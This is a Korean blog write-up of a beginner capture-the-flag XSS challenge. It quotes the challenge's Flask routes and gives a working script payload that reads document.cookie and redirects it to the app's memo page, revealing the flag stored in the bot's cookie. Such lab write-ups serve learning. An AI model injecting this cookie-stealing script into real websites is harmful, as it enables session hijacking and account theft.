[LEVEL 1] xss-1

yamewrong·2023년 1월 4일
0

웹해킹

목록 보기
7/12
post-thumbnail

Description

여러 기능과 입력받은 URL을 확인한느 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

문제 분석

다운로드 받은 파일의 코드를 보자

check_xss

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

위와 같이 파라미터로 받은 값을 url에 더한 후, url과 cookie 값 을 return 한다.

flag

def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'

위 코드를 보면 check_xss에 flag, FLAG.strip()을 쿠키 인자로 넣을 수 있게 보낸다 !
그렇다면 flag 페이지에서 보낸다면 쿠키엔 FLAG 값이 들어가 있을거다

memo

def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

메모 페이지에 메모를 저장해서 보여준다..

문제 풀이

자 그러면 이제 check_xss 에서 return 될 flag값을 보면 끝이다.
그러면 이 return 값을 location.href를 통해 다른 사이트로 이동해서 써먹었다.

<script>location.href="/memo?memo="+document.cookie;</script>

위 스크립트문은 내가 써먹은 스크립트문이다

memo 페이지에 입력될 메모로 현재 페이지의 쿠키값으로 설정하면 이제 memo페이지에 return된 쿠키값이 출력된다 !


짜잔~

0개의 댓글